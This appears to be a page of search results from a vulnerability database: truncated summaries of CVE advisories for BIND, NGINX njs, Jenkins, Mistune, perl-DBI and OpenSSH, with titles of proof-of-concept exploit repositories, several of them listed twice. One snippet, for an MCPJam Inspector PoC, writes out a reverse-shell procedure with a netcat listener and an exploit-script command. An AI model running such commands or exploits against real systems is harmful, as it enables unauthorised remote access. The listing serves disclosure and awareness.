143656 matches found
K000163169: BIND vulnerability CVE-2026-12617
Security Advisory Description The issue is unexpected program termination based on ordering and/or specific content in responses to queries for CNAME or DNAME, and A records. Specifically, if a client queries for a DNAME and A record below the DNAME to the resolver, and the authoritative server...
Tech support scams look different now. Here’s what to watch for
In a tech support scam, criminals pretend to work for a trusted technology or security company. They claim there is a problem with your device, software, subscription, or account, then try to persuade you to pay them, share personal information, or give them remote access to your computer. These...
EUVD-2026-70142
Description NGINX JavaScript njs has a vulnerability in the XML module's namespace prefix list parser, reachable through the xml.exclusiveC14n method. An unauthenticated remote attacker can trigger it when an affected NGINX configuration passes an externally controlled XML namespace prefix list t...
CVE-2026-78689 NGINX ngx_http_js_module vulnerablility
Description NGINX JavaScript njs has a vulnerability in the XML module's namespace prefix list parser, reachable through the xml.exclusiveC14n method. An unauthenticated remote attacker can trigger it when an affected NGINX configuration passes an externally controlled XML namespace prefix list t...
CVE-2026-78689 NGINX ngx_http_js_module vulnerablility
Description NGINX JavaScript njs has a vulnerability in the XML module's namespace prefix list parser, reachable through the xml.exclusiveC14n method. An unauthenticated remote attacker can trigger it when an affected NGINX configuration passes an externally controlled XML namespace prefix list t...
CVE-2026-78689
NGINX JavaScript (njs) contains a heap-based buffer overflow (CWE-122) in the XML module's namespace prefix list parser, reachable via the xml.exclusiveC14n() method. Both the njs and QuickJS (qjs) engines are affected. With njs, the out-of-bounds write corrupts adjacent objects and crashes the N...
CVE-2026-78689
Description NGINX JavaScript njs has a vulnerability in the XML module's namespace prefix list parser, reachable through the xml.exclusiveC14n method. An unauthenticated remote attacker can trigger it when an affected NGINX configuration passes an externally controlled XML namespace prefix list t...
CVE-2026-84659
Jenkins Script Security Plugin 1412.v7737b3405f86 and earlier does not enforce a permission check in the method that controls the "Force the use of the sandbox globally in the system" setting, allowing attackers to disable it through Stapler data binding...
EUVD-2026-70125
Jenkins Script Security Plugin 1412.v7737b3405f86 and earlier does not enforce a permission check in the method that controls the "Force the use of the sandbox globally in the system" setting, allowing attackers to disable it through Stapler data binding...
CVE-2026-84659
Jenkins Script Security Plugin versions 1412.v7737b_3405f86 and earlier are affected by an improper access control vulnerability. A @DataBoundSetter annotated method controlling the "Force the use of the sandbox globally in the system" setting does not enforce a permission check, allowing an auth...
CVE-2026-84659
Jenkins Script Security Plugin 1412.v7737b3405f86 and earlier does not enforce a permission check in the method that controls the "Force the use of the sandbox globally in the system" setting, allowing attackers to disable it through Stapler data binding...
Exploit for Deserialization of Untrusted Data in Facebook React
Penetration Testing Writeup: Next.js RCE & Node.js Inspector Pri...
-Linux-PrivEsc-CVE-2024-48990
Privesc-need-restart-2024-48990 Exploit Explanation CVE-2024-48990 - Pure Python This script exploits the CVE-2024-48990 vulnerability in the needrestart Linux utility through library path hijacking PYTHONPATH hijacking. Unlike the original vector, this method uses exclusively Python, bypassing t...
CVE_2026_2576_PoC
CVE-2026-2576 — Business Directory 插件 SQLi PoC 未认证的基于时间的盲 SQL 注入 Business Directory Plugin for WordPress ≤ 6.4.21 目录 漏洞概述 技术分析 实验环境要求 实验环境搭建 运行 PoC 预期输出 补丁分析 参考资料 免责声明 漏洞概述 字段| 详情 ---|--- CVE| CVE-2026-2576 插件| Business Directory Plugin – Easy Listing Directories for WordPress 厂商| strategy11team...
CVE-2026-23744-POC
CVE-2026-23744 — MCPJam Inspector 未认证远程代码执行 MCPJam Inspector -i -p -m 反弹 Shell 示例 步骤 1 — 启动你的监听器： root@kitploit: nc -lvnp 4444 步骤 2 — 运行漏洞利用脚本： root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash 载荷方法 如果目标上 busybox 不可用，请尝试其他方法： root@kitploit: bash python3...
Mistune: Denial of Service — RecursionError via Excessive Emphasis Markers in Markdown
Summary Mistune v3.3.2 is vulnerable to a Denial of Service DoS attack via uncontrolled recursion in the HTML rendering of deeply-nested emphasis tokens. By submitting Markdown containing approximately 1,000 consecutive asterisk characters, an attacker causes the Python process to crash with...
GHSA-6M44-FPC8-C3RQ Mistune: Denial of Service — RecursionError via Excessive Emphasis Markers in Markdown
Summary Mistune v3.3.2 is vulnerable to a Denial of Service DoS attack via uncontrolled recursion in the HTML rendering of deeply-nested emphasis tokens. By submitting Markdown containing approximately 1,000 consecutive asterisk characters, an attacker causes the Python process to crash with...
ls-poc
CVE-2026-30368 Proof of concept !IMPORTANT This is patched and now requires credentials, use the workaround to perform actions on yourself. Introduction CVE-2026-30368 allows an attacker to control student devices via a weak authentication flaw in Lightspeed Classroom management. The POC poc.js...
perl-DBI: perl-DBI: Heap overflow in SQL preparsing can lead to denial of service or arbitrary code execution.
A flaw was found in perl-DBI. A heap overflow vulnerability exists when preparsing SQL statements with more than 9 binders. The preparse method incorrectly allocates buffer space for SQL placeholder characters, leading to an overflow when processing binders with two or more digits. This can resul...
CVE-2024-6387
CVE-2024-6387 CVE-2024-6387 POC（目前正在编辑） openssh CVE-2024-6387 - PoC 📜 描述 注意：此脚本是一个快速原型 PoC，可能会出现一些错误和缺陷。 已在以下系统测试：Kali Linux、ParrotSec、Ubuntu 22.04 OpenSSH 服务器中的远程未认证代码执行漏洞 在 OpenSSH 服务器（sshd）中发现了一个信号处理器竞态条件：客户端未在 LoginGraceTime 秒（默认为 120 秒，旧版 OpenSSH 为 600 秒）内完成认证时，sshd 的 SIGALRM...